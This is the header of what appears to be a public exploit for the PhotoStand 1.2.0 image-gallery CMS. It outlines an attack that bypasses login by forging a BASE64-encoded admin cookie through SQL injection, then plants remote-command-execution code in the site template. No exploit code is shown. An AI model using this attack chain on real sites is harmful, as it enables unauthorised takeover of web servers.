# App : PhotoStand 1.2.0
# Site : http://www.photostand.org
# Remote Command Execution Exploit
# Credits to : Giovanni Buzzin, "Osirys"
# osirys[at]autistici[dot]org
# Greets: drosophila, emgent, Fireshot
# PhotoStand is a used Image Gallery CMS.
# PhotoStand is vulnerable to SQL Injection, (AUTH BYPASS), creating a cookie with the nick of the admin encoded in BASE64,
# a remote user is able to become Admin. The exploit just bypass the login, and edits the template putting in it code prone
# to RCE. It doesn't change anything, in fact it gets the previous template, and just adds the hell code.
